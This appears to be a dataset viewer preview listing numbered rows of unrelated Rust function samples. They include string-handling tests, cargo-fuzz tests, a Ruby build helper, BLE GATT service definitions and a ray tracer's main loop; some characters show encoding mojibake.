fn string_test() { // literal let speech = "\"Ouch!\" said the well.\n"; println!("{}", speech); println!( "In the room the women come and go, Singing of Mount Abora" ); println!( "It was a bright, cold day in Aplil, and \ there were four of us \ more or less." ); let default_win_install_path = r"C:\Program Files\Gorillas"; println!("{}", default_win_install_path); // let pattern = Regex::new(r"\d(\.\d+)*"); println!( r###" This raw string started with 'r###"'. Therefore it does not end until we reach a quote mark ('"') followed immediately by three pound signs ('###'): "### ); // byte strings let method = b"GET"; assert_eq!(method, &[b'G', b'E', b'T']); let noodles = "noodles".to_string(); let oodles = &noodles[1..]; let poodles = "\u{CA0}_\u{CA0}"; assert_eq!(oodles.len(), 6); assert_eq!(poodles.len(), 7); assert_eq!(poodles.chars().count(), 3); // let mut s = "hello"; // s[0] = 'c'; error: tye thpe 'str' cannot be mutably indexed // s.push('\n'); error: no method named `push` found for type `&str` assert_eq!( format!("{}Β° {:02}’ {:02}” N", 24, 5, 23), "24Β° 05’ 23” N".to_string() ); let bits = vec!["veni", "vidi", "vici"]; assert_eq!(bits.concat(), "venividivici"); assert_eq!(bits.join(","), "veni,vidi,vici"); assert!("ONE".to_lowercase() == "one"); assert!("peanut".contains("nut")); assert_eq!("\u{CA0}_\u{CA0}".replace("\u{CA0}", "β– "), "β– _β– "); assert_eq!(" clean\n".trim(), "clean"); for word in "veni, vidi, vici".split(", ") { assert!(word.starts_with("v")); } }
71
fn cmin() { let corpus = Path::new("fuzz").join("corpus").join("foo"); let project = project("cmin") .with_fuzz() .fuzz_target( "foo", r#" #![no_main] use libfuzzer_sys::fuzz_target; fuzz_target!(|data: &[u8]| { let _ = data; }); "#, ) .file(corpus.join("0"), "") .file(corpus.join("1"), "a") .file(corpus.join("2"), "ab") .file(corpus.join("3"), "abc") .file(corpus.join("4"), "abcd") .build(); let corpus_count = || { fs::read_dir(project.root().join("fuzz").join("corpus").join("foo")) .unwrap() .count() }; assert_eq!(corpus_count(), 5); project .cargo_fuzz() .arg("cmin") .arg("foo") .assert() .success(); assert_eq!(corpus_count(), 1); }
72
fn main() { #[cfg(feature = "breakout")] let memfile_bytes = include_bytes!("stm32h743zi_memory.x"); #[cfg(not(feature = "breakout"))] let memfile_bytes = include_bytes!("stm32h743vi_memory.x"); // Put the linker script somewhere the linker can find it let out = &PathBuf::from(env::var_os("OUT_DIR").unwrap()); File::create(out.join("memory.x")) .unwrap() .write_all(memfile_bytes) .unwrap(); println!("cargo:rustc-link-search={}", out.display()); }
73
pub async fn render_window_wasm(subaction: brawllib_rs::high_level_fighter::HighLevelSubaction) { use brawllib_rs::renderer::app::state::{AppEventIncoming, State}; use brawllib_rs::renderer::app::App; use wasm_bindgen::prelude::*; use web_sys::HtmlElement; let document = web_sys::window().unwrap().document().unwrap(); let body = document.body().unwrap(); let parent_div = document.create_element("div").unwrap(); parent_div .dyn_ref::<HtmlElement>() .unwrap() .style() .set_css_text("margin: auto; width: 80%; aspect-ratio: 4 / 2; background-color: black"); body.append_child(&parent_div).unwrap(); let app = App::new_insert_into_element(parent_div, subaction).await; let event_tx = app.get_event_tx(); let frame = document.create_element("p").unwrap(); frame.set_inner_html("Frame: 0"); body.append_child(&frame).unwrap(); let button = document.create_element("button").unwrap(); body.append_child(&button).unwrap(); let button_move = button.clone(); button_move.set_inner_html("Run"); let event_tx_move = event_tx.clone(); let do_thing = Closure::wrap(Box::new(move || { if button_move.inner_html() == "Stop" { event_tx_move .send(AppEventIncoming::SetState(State::Pause)) .unwrap(); button_move.set_inner_html("Run"); } else { event_tx_move .send(AppEventIncoming::SetState(State::Play)) .unwrap(); button_move.set_inner_html("Stop"); } }) as Box<dyn FnMut()>); button .dyn_ref::<HtmlElement>() .unwrap() .set_onclick(Some(do_thing.as_ref().unchecked_ref())); let button = document.create_element("button").unwrap(); body.append_child(&button).unwrap(); let button_move = button.clone(); button_move.set_inner_html("Perspective"); let do_thing = Closure::wrap(Box::new(move || { if button_move.inner_html() == "Orthographic" { event_tx .send(AppEventIncoming::SetPerspective(false)) .unwrap(); button_move.set_inner_html("Perspective"); } else { event_tx .send(AppEventIncoming::SetPerspective(true)) .unwrap(); button_move.set_inner_html("Orthographic"); } }) as Box<dyn FnMut()>); button .dyn_ref::<HtmlElement>() .unwrap() .set_onclick(Some(do_thing.as_ref().unchecked_ref())); app.get_event_tx() .send(AppEventIncoming::SetState(State::Pause)) .unwrap(); app.run(); }
74
fn get_next_prefix(current: &str) -> String { format!("{} ", current) }
75
fn db_scheme_type_mapper(scheme: &str) -> SchemeType { match scheme { "postgres" => SchemeType::Relative(5432), "mysql" => SchemeType::Relative(3306), _ => SchemeType::NonRelative, } }
76
fn a_table_should_preserve_the_money_supply() { let mut table = HashMapOfTreeMap::new(); broker(&mut table, 1000); expect_money_conserved(&table); }
77
fn build_package( current_dir: &Path, installed_dir: &Path, configure_opts: &[String], ) -> Result<(), FrumError> { debug!("./configure {}", configure_opts.join(" ")); let mut command = Command::new("sh"); command .arg("configure") .arg(format!("--prefix={}", installed_dir.to_str().unwrap())) .args(configure_opts); // Provide a default value for --with-openssl-dir if !configure_opts .iter() .any(|opt| opt.starts_with("--with-openssl-dir")) { command.arg(format!("--with-openssl-dir={}", openssl_dir()?)); } let configure = command .current_dir(&current_dir) .output() .map_err(FrumError::IoError)?; if !configure.status.success() { return Err(FrumError::CantBuildRuby { stderr: format!( "configure failed: {}", String::from_utf8_lossy(&configure.stderr).to_string() ), }); }; debug!("make -j {}", num_cpus::get().to_string()); let make = Command::new("make") .arg("-j") .arg(num_cpus::get().to_string()) .current_dir(&current_dir) .output() .map_err(FrumError::IoError)?; if !make.status.success() { return Err(FrumError::CantBuildRuby { stderr: format!( "make failed: {}", String::from_utf8_lossy(&make.stderr).to_string() ), }); }; debug!("make install"); let make_install = Command::new("make") .arg("install") .current_dir(&current_dir) .output() .map_err(FrumError::IoError)?; if !make_install.status.success() { return Err(FrumError::CantBuildRuby { stderr: format!( "make install: {}", String::from_utf8_lossy(&make_install.stderr).to_string() ), }); }; Ok(()) }
78
fn is_invalid_column_type ( err : Error ) - > bool { matches ! ( err Error : : InvalidColumnType ( . . ) ) }
79
fn send_err(stream: &mut TcpStream, err: Error) { let _ = stream.write(err.to_string().as_bytes()).expect("failed a write"); }
80
pub fn module<'a>(context: &'a Context) -> Option<Module<'a>> { const SUCCESS_CHAR: &str = "➜"; const FAILURE_CHAR: &str = "βœ–"; let color_success = Color::Green.bold(); let color_failure = Color::Red.bold(); let mut module = context.new_module("character")?; module.get_prefix().set_value(""); let arguments = &context.arguments; let use_symbol = module .config_value_bool("use_symbol_for_status") .unwrap_or(false); let exit_success = arguments.value_of("status_code").unwrap_or("0") == "0"; /* If an error symbol is set in the config, use symbols to indicate success/failure, in addition to color */ let symbol = if use_symbol && !exit_success { module.new_segment("error_symbol", FAILURE_CHAR) } else { module.new_segment("symbol", SUCCESS_CHAR) }; if exit_success { symbol.set_style(color_success.bold()); } else { symbol.set_style(color_failure.bold()); }; Some(module) }
81
async fn http_lookup(url: &Url) -> Result<Graph, Berr> { let resp = reqwest::get(url.as_str()).await?; if !resp.status().is_success() { return Err("unsucsessful GET".into()); } let content_type = resp .headers() .get(CONTENT_TYPE) .ok_or("no content-type header in response")? .to_str()? .to_string(); let bytes = resp.bytes().await?; into_rdf(&bytes, &content_type).map_err(Into::into) }
82
fn state_to_buf(state: &Engine) -> Vec<u8> { serde_json::to_vec(state).unwrap() }
83
fn run() -> Result<(), Box<dyn std::error::Error>> { let by_version = generate_thanks()?; let mut all_time = by_version.values().next().unwrap().clone(); for map in by_version.values().skip(1) { all_time.extend(map.clone()); } site::render(by_version, all_time)?; Ok(()) }
84
fn map_prefix(tok: IRCToken) -> Result<IRCToken, ~str> { match tok { Sequence([Unparsed(nick), Sequence([rest])]) => match rest { Sequence([Sequence([rest]), Unparsed(~"@"), Unparsed(host)]) => match rest { Sequence([Unparsed(~"!"), Unparsed(user)]) => Ok(PrefixT(Prefix {nick: nick, user: user, host: host})), _ => Ok(PrefixT(Prefix {nick: nick, user: ~"", host: host})), }, _ => Ok(PrefixT(Prefix {nick: nick, user: ~"", host: ~""})), }, _ => Err(~"Malformed prefix") }
85
fn build_author_map_( repo: &Repository, reviewers: &Reviewers, mailmap: &Mailmap, from: &str, to: &str, ) -> Result<AuthorMap, Box<dyn std::error::Error>> { let mut walker = repo.revwalk()?; if repo.revparse_single(to).is_err() { // If a commit is not found, try fetching it. git(&[ "--git-dir", repo.path().to_str().unwrap(), "fetch", "origin", to, ])?; } if from == "" { let to = repo.revparse_single(to)?.peel_to_commit()?.id(); walker.push(to)?; } else { walker.push_range(&format!("{}..{}", from, to))?; } let mut author_map = AuthorMap::new(); for oid in walker { let oid = oid?; let commit = repo.find_commit(oid)?; let mut commit_authors = Vec::new(); if !is_rollup_commit(&commit) { // We ignore the author of rollup-merge commits, and account for // that author once by counting the reviewer of all bors merges. For // rollups, we consider that this is the most relevant person, which // is usually the case. // // Otherwise, a single rollup with N PRs attributes N commits to the author of the // rollup, which isn't fair. commit_authors.push(Author::from_sig(commit.author())); } match parse_bors_reviewer(&reviewers, &repo, &commit) { Ok(Some(reviewers)) => commit_authors.extend(reviewers), Ok(None) => {} Err(ErrorContext(msg, e)) => { if e.is::<reviewers::UnknownReviewer>() { eprintln!("Unknown reviewer: {}", ErrorContext(msg, e)); } else { return Err(ErrorContext(msg, e).into()); } } } commit_authors.extend(commit_coauthors(&commit)); for author in commit_authors { let author = mailmap.canonicalize(&author); author_map.add(author, oid); } } Ok(author_map) }
86
const fn null_ble_gatt_chr_def() -> ble_gatt_chr_def { return ble_gatt_chr_def { uuid: ptr::null(), access_cb: None, arg: (ptr::null_mut()), descriptors: (ptr::null_mut()), flags: 0, min_key_size: 0, val_handle: (ptr::null_mut()), }; }
87
async fn get_historic_rates() { let exchange = init().await; let req = GetHistoricRatesRequest { market_pair: "eth_btc".to_string(), interval: Interval::OneHour, paginator: None, }; let resp = exchange.get_historic_rates(&req).await.unwrap(); println!("{:?}", resp); }
88
pub fn pool_connection_number() -> &'static usize { POOL_NUMBER.get_or_init(|| { dotenv().ok(); let database_pool_size_str = env::var("DATABASE_POOL_SIZE").unwrap_or_else(|_| "10".to_string()); let database_pool_size: usize = database_pool_size_str.parse().unwrap(); database_pool_size }) }
89
async fn run_completions(shell: ShellCompletion) -> Result<()> { info!(version=%env!("CARGO_PKG_VERSION"), "constructing completions"); fn generate(generator: impl Generator) { let mut cmd = Args::command(); clap_complete::generate(generator, &mut cmd, "watchexec", &mut std::io::stdout()); } match shell { ShellCompletion::Bash => generate(Shell::Bash), ShellCompletion::Elvish => generate(Shell::Elvish), ShellCompletion::Fish => generate(Shell::Fish), ShellCompletion::Nu => generate(clap_complete_nushell::Nushell), ShellCompletion::Powershell => generate(Shell::PowerShell), ShellCompletion::Zsh => generate(Shell::Zsh), } Ok(()) }
90
pub fn nth(n: u32) -> u32 { let mut primes: Vec<u32> = vec![2, 3, 5]; let i = n as usize; let mut nn = 5; while i + 1 >= primes.len() { nn += 2; if !primes.iter().any(|x| nn % x == 0) { primes.push(nn); } } primes[i] }
91
pub(crate) fn ident<'a, E>(i: &'a str) -> nom::IResult<&'a str, Ident, E> where E: ParseError<&'a str>, { let mut chars = i.chars(); if let Some(f) = chars.next() { if f.is_alphabetic() || f == '_' { let mut idx = 1; for c in chars { if !(c.is_alphanumeric() || c == '_') { break; } idx += 1; } let id = &i[..idx]; if is_reserved(id) { Err(nom::Err::Error(E::from_error_kind(i, ErrorKind::Satisfy))) } else { Ok((&i[idx..], Ident::from_str_unchecked(id))) } } else { Err(nom::Err::Error(E::from_error_kind(i, ErrorKind::Satisfy))) } } else { Err(nom::Err::Error(E::from_error_kind(i, ErrorKind::Eof))) } }
92
fn run_one_input() { let corpus = Path::new("fuzz").join("corpus").join("run_one"); let project = project("run_one_input") .with_fuzz() .fuzz_target( "run_one", r#" #![no_main] use libfuzzer_sys::fuzz_target; fuzz_target!(|data: &[u8]| { #[cfg(fuzzing_repro)] eprintln!("Reproducing a crash"); assert!(data.is_empty()); }); "#, ) .file(corpus.join("pass"), "") .file(corpus.join("fail"), "not empty") .build(); project .cargo_fuzz() .arg("run") .arg("run_one") .arg(corpus.join("pass")) .assert() .stderr( predicate::str::contains("Running 1 inputs 1 time(s) each.") .and(predicate::str::contains( "Running: fuzz/corpus/run_one/pass", )) .and(predicate::str::contains("Reproducing a crash")), ) .success(); }
93
pub fn test_trace() { let buffer = fs::read("tests/programs/trace64").unwrap().into(); let result = run::<u64, SparseMemory<u64>>(&buffer, &vec!["trace64".into()]); assert!(result.is_err()); assert_eq!(result.err(), Some(Error::MemWriteOnExecutablePage)); }
94
fn alloc_svc_def() -> *const ble_gatt_svc_def { leaky_box!( ble_gatt_svc_def { type_: BLE_GATT_SVC_TYPE_PRIMARY as u8, uuid: ble_uuid16_declare!(GATT_HRS_UUID), includes: ptr::null_mut(), characteristics: leaky_box!( ble_gatt_chr_def { uuid: ble_uuid16_declare!(GATT_HRS_MEASUREMENT_UUID), access_cb: Some(gatt_svr_chr_access_heart_rate), arg: (ptr::null_mut()), descriptors: (ptr::null_mut()), flags: BLE_GATT_CHR_F_NOTIFY as u16, min_key_size: 0, val_handle: (unsafe { &mut HRS_HRM_HANDLE as *mut u16 }), }, ble_gatt_chr_def { uuid: ble_uuid16_declare!(GATT_HRS_BODY_SENSOR_LOC_UUID), access_cb: Some(gatt_svr_chr_access_heart_rate), arg: (ptr::null_mut()), descriptors: (ptr::null_mut()), flags: BLE_GATT_CHR_F_READ as u16, min_key_size: 0, val_handle: ptr::null_mut(), }, null_ble_gatt_chr_def() ) }, ble_gatt_svc_def { type_: BLE_GATT_SVC_TYPE_PRIMARY as u8, uuid: ble_uuid16_declare!(GATT_DEVICE_INFO_UUID), includes: ptr::null_mut(), characteristics: leaky_box!( ble_gatt_chr_def { uuid: ble_uuid16_declare!(GATT_MANUFACTURER_NAME_UUID), access_cb: Some(gatt_svr_chr_access_device_info), arg: (ptr::null_mut()), descriptors: (ptr::null_mut()), flags: BLE_GATT_CHR_F_READ as u16, min_key_size: 0, val_handle: (ptr::null_mut()), }, ble_gatt_chr_def { uuid: ble_uuid16_declare!(GATT_MODEL_NUMBER_UUID), access_cb: Some(gatt_svr_chr_access_device_info), arg: (ptr::null_mut()), descriptors: (ptr::null_mut()), flags: BLE_GATT_CHR_F_READ as u16, min_key_size: 0, val_handle: (ptr::null_mut()), }, null_ble_gatt_chr_def() ) }, null_ble_gatt_svc_def() ) }
95
pub fn acrn_read_dir(path: &str, recursive: bool) -> Result<Vec<DirEntry>, String> { read_dir(path, recursive).map_err(|e| e.to_string()) }
96
fn run_with_crash() { let project = project("run_with_crash") .with_fuzz() .fuzz_target( "yes_crash", r#" #![no_main] use libfuzzer_sys::fuzz_target; fuzz_target!(|data: &[u8]| { run_with_crash::fail_fuzzing(data); }); "#, ) .build(); project .cargo_fuzz() .arg("run") .arg("yes_crash") .arg("--") .arg("-runs=1000") .env("RUST_BACKTRACE", "1") .assert() .stderr( predicate::str::contains("panicked at 'I'm afraid of number 7'") .and(predicate::str::contains("ERROR: libFuzzer: deadly signal")) .and(predicate::str::contains("run_with_crash::fail_fuzzing")) .and(predicate::str::contains( "────────────────────────────────────────────────────────────────────────────────\n\ \n\ Failing input:\n\ \n\ \tfuzz/artifacts/yes_crash/crash-" )) .and(predicate::str::contains("Output of `std::fmt::Debug`:")) .and(predicate::str::contains( "Reproduce with:\n\ \n\ \tcargo fuzz run yes_crash fuzz/artifacts/yes_crash/crash-" )) .and(predicate::str::contains( "Minimize test case with:\n\ \n\ \tcargo fuzz tmin yes_crash fuzz/artifacts/yes_crash/crash-" )), ) .failure(); }
97
pub async fn run() -> Result<()> { let args = init().await?; debug!(?args, "arguments"); if args.manual { run_manpage(args).await } else if let Some(shell) = args.completions { run_completions(shell).await } else { run_watchexec(args).await } }
98
fn main() -> Result<()> { let args = Args::parse(); let Args { aspect_ratio, image_width, image_height, samples_per_pixel, outfile, max_depth, } = args; let (stats_tx, stats_rx) = unbounded(); let (render_tx, render_rx) = bounded(1024); let look_from = Point3::new(13.0, 2.0, 3.0); let look_at = Point3::new(0.0, 0.0, 0.0); // Camera let camera = Camera::new( look_from, look_at, Vec3::new(0.0, 1.0, 0.0), 20.0, aspect_ratio, 0.1, 10.0, ); // World let world = World::get_world(true); let color_handle = thread::spawn(move || { pixels::pixel_loop( &camera, &world, image_width, image_height, samples_per_pixel, max_depth, stats_tx, render_tx, ) }); let stats_handle = thread::spawn(move || { stats::stats_loop( stats_rx, ((image_width as f32 * image_height as f32 * 11.3) as usize + 24) as usize, ) }); let render_handle = thread::spawn(move || render::render_loop(&outfile, render_rx)); let color_io_result = color_handle.join().unwrap(); let stats_io_result = stats_handle.join().unwrap(); let render_io_result = render_handle.join().unwrap(); color_io_result?; stats_io_result?; render_io_result?; Ok(()) }
99
End of preview. Expand in Data Studio
README.md exists but content is empty.
Downloads last month
1